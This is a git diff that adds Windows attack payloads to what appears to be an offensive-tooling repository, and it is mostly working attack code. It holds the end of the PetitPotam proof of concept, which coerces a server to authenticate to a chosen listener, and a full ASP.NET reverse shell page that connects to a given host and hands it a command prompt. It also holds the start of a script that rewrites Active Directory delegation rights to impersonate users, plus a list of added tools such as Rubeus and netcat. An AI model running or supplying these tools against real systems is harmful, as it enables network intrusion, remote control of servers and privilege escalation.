('RelativeSD', EFS_RPC_BLOB),
('bInheritHandle', BOOL),
)
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFileEx(NDRCALL):
opnum = 15
structure = (
('dwFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('dwAttributes', DWORD),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
)
class EfsRpcAddUsersToFileExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfoEx(NDRCALL):
opnum = 16
structure = (
('dwFileKeyInfoFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('InfoClass', DWORD),
)
class EfsRpcFileKeyInfoExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
opnum = 18
structure = (
('FileName', WSTR),
)
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
opnum = 19
structure = (
('FileName', WSTR),
('OldEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
)
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileExSrv(NDRCALL):
opnum = 21
structure = (
('FileName', WSTR),
('ProtectorDescriptor', WSTR),
('Flags', ULONG),
)
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
#class EfsRpcQueryProtectors(NDRCALL):
# opnum = 21
# structure = (
# ('FileName', WSTR),
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
# )
#class EfsRpcQueryProtectorsResponse(NDRCALL):
# structure = (
# ('ErrorCode', ULONG),
# )
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
}
class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Connected!")
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Successfully bound!")
return dce
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
print(show_banner)
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
plop = CoerceAuth()
if options.pipe == "all":
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
else:
all_pipes = [options.pipe]
for all_pipe in all_pipes:
print("Trying pipe", all_pipe)
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
plop.EfsRpcOpenFileRaw(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()

24810
payloads/windows/PowerView.ps1 Normal file
View File

File diff suppressed because it is too large Load Diff

View File

File diff suppressed because it is too large Load Diff

View File

Binary file not shown.

View File

Binary file not shown.

BIN
payloads/windows/Rubeus.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

File diff suppressed because one or more lines are too long

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,423 @@
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
protected void Page_Load(object sender, EventArgs e)
{
String host = Request["LHOST"];
int port = Convert.ToInt32(Request["LPORT"]);
CallbackShell(host, port);
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName,
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in
{
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero;
}
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")]
static extern bool AllocConsole();
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
[In] SocketType socketType,
[In] ProtocolType protocolType,
[In] IntPtr protocolInfo,
[In] uint group,
[In] int flags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int inet_addr([In] string cp);
[DllImport("ws2_32.dll")]
private static extern string inet_ntoa(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint htonl(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint ntohl(uint ip);
[DllImport("ws2_32.dll")]
private static extern ushort htons(ushort ip);
[DllImport("ws2_32.dll")]
private static extern ushort ntohs(ushort ip);
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int send(
[In] IntPtr socketHandle,
[In] byte[] pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int recv(
[In] IntPtr socketHandle,
[In] IntPtr pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int closesocket(
[In] IntPtr socketHandle
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr accept(
[In] IntPtr socketHandle,
[In, Out] ref sockaddr_in socketAddress,
[In, Out] ref int socketAddressSize
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int listen(
[In] IntPtr socketHandle,
[In] int backlog
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int bind(
[In] IntPtr socketHandle,
[In] ref sockaddr_in socketAddress,
[In] int socketAddressSize
);
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public static extern bool GetTokenInformation(
IntPtr hToken,
TOKEN_INFORMATION_CLASS tokenInfoClass,
IntPtr TokenInformation,
int tokeInfoLength,
ref int reqLength);
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool LookupAccountSid
(
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
IntPtr pSid,
StringBuilder Account,
ref int cbName,
StringBuilder DomainName,
ref int cbDomainName,
ref int peUse
);
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid(
IntPtr pSID,
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
extern static IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess,
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
uint cb,
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(
String lpName,
uint dwOpenMode,
uint dwPipeMode,
uint nMaxInstances,
uint nOutBufferSize,
uint nInBufferSize,
uint nDefaultTimeOut,
IntPtr pipeSecurityDescriptor
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(
IntPtr hHandle,
uint lpOverlapped
);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetNamedPipeHandleState(
IntPtr hHandle,
IntPtr lpState,
IntPtr lpCurInstances,
IntPtr lpMaxCollectionCount,
IntPtr lpCollectDataTimeout,
StringBuilder lpUserName,
int nMaxUserNameSize
);
protected void CallbackShell(string server, int port)
{
string request = "Spawn Shell...\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void SpawnProcess(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}
protected void SpawnProcessAsPriv(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
IntPtr DupeToken = new IntPtr(0);
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
</script>

View File

View File

BIN
payloads/windows/kekeo.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

BIN
payloads/windows/nc.exe Normal file
View File

Binary file not shown.

BIN
payloads/windows/nc64.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,699 @@
#!/usr/bin/env python3
#
# Almond (almond.consulting). Copyright (C) 2022 Almond. All rights reserved.
#
# Accompanying blog post: https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This script implements LDAP certificate authentication for two impacket scripts : addComputer.py and rbcd.py.
#
# If you use Certipy (https://github.com/ly4k/Certipy) to retrieve certificates, you can extract key and cert from the pfx by using:
# $ certipy cert -pfx user.pfx -nokey -out user.crt
# $ certipy cert -pfx user.pfx -nocert -out user.key
#
# Author:
# drm (@lowercase_drm) / ThePirateWhoSmellsOfSunflowers
#
# based on :
# JaGoTu (@jagotu) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py
# Remi Gascou (@podalirius_) and Charlie Bromberg (@_nwodtuhs) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/rbcd.py
# Impacket by SecureAuth https://github.com/SecureAuthCorp/impacket
#
import sys
import copy
import string
import random
import logging
import argparse
import ssl
import ldap3
import ldapdomaindump
from impacket import version
from impacket.examples import logger
from impacket.examples.ldap_shell import LdapShell as _LdapShell
from impacket.ldap import ldaptypes
from impacket.uuid import string_to_bin
class LdapShell(_LdapShell):
def __init__(self, tcp_shell, domain_dumper, client):
super().__init__(tcp_shell, domain_dumper, client)
self.use_rawinput = True
self.shell = tcp_shell
self.prompt = "\n# "
self.tid = None
self.intro = "Type help for list of commands"
self.loggedIn = True
self.last_output = None
self.completion = []
self.client = client
self.domain_dumper = domain_dumper
def do_dump(self, line):
logging.warning("Not implemented")
def do_exit(self, line):
print("Bye!")
return True
class DummyDomainDumper:
def __init__(self, root: str):
self.root = root
def ldap_shell(ldap_server, ldap_conn):
root = ldap_server.info.other["defaultNamingContext"][0]
domain_dumper = DummyDomainDumper(root)
ldap_shell = LdapShell(sys, domain_dumper, ldap_conn)
try:
ldap_shell.cmdloop()
except KeyboardInterrupt:
print("Bye!\n")
pass
def create_empty_sd():
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 32772
sd['OwnerSid'] = ldaptypes.LDAP_SID()
# BUILTIN\Administrators
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
sd['GroupSid'] = b''
sd['Sacl'] = b''
acl = ldaptypes.ACL()
acl['AclRevision'] = 4
acl['Sbz1'] = 0
acl['Sbz2'] = 0
acl.aces = []
sd['Dacl'] = acl
return sd
# Create an ALLOW ACE with the specified sid
def create_allow_ace(sid, guid_str=False):
nace = ldaptypes.ACE()
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
nace['AceFlags'] = 0x00
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 983551 # Full control
acedata['Sid'] = ldaptypes.LDAP_SID()
acedata['Sid'].fromCanonical(sid)
if guid_str:
acedata['ObjectType'] = string_to_bin(guid_str)
acedata['ObjectTypeLen'] = len(string_to_bin(guid_str))
acedata['InheritedObjectTypeLen'] = 0
acedata['InheritedObjectType'] = b''
acedata['Flags'] = 1
nace['Ace'] = acedata
return nace
class RBCD(object):
"""docstring for setrbcd"""
def __init__(self, ldap_server, ldap_session, delegate_to):
super(RBCD, self).__init__()
self.ldap_server = ldap_server
self.ldap_session = ldap_session
self.delegate_from = None
self.delegate_to = delegate_to
self.SID_delegate_from = None
self.DN_delegate_to = None
logging.debug('Initializing domainDumper()')
cnf = ldapdomaindump.domainDumpConfig()
cnf.basepath = None
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
def read(self):
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act
self.get_allowed_to_act()
return
def write(self, delegate_from):
self.delegate_from = delegate_from
# Get escalate user sid
result = self.get_user_info(self.delegate_from)
if not result:
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.SID_delegate_from = str(result[1])
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act and build security descriptor including previous data
sd, targetuser = self.get_allowed_to_act()
# writing only if SID not already in list
if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
self.ldap_session.modify(targetuser['dn'],
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
[sd.getData()]]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights modified successfully!')
logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
else:
logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
logging.info('Not modifying the delegation rights.')
# Get list of allowed to act
self.get_allowed_to_act()
return
def remove(self, delegate_from):
self.delegate_from = delegate_from
# Get escalate user sid
result = self.get_user_info(self.delegate_from)
if not result:
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.SID_delegate_from = str(result[1])
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act and build security descriptor including that data
sd, targetuser = self.get_allowed_to_act()
# Remove the entries where SID match the given -delegate-from
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
self.ldap_session.modify(targetuser['dn'],
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights modified successfully!')
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
# Get list of allowed to act
self.get_allowed_to_act()
return
def flush(self):
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act
sd, targetuser = self.get_allowed_to_act()
self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights flushed successfully!')
else:
if self.ldap_session.result['result'] == 50:
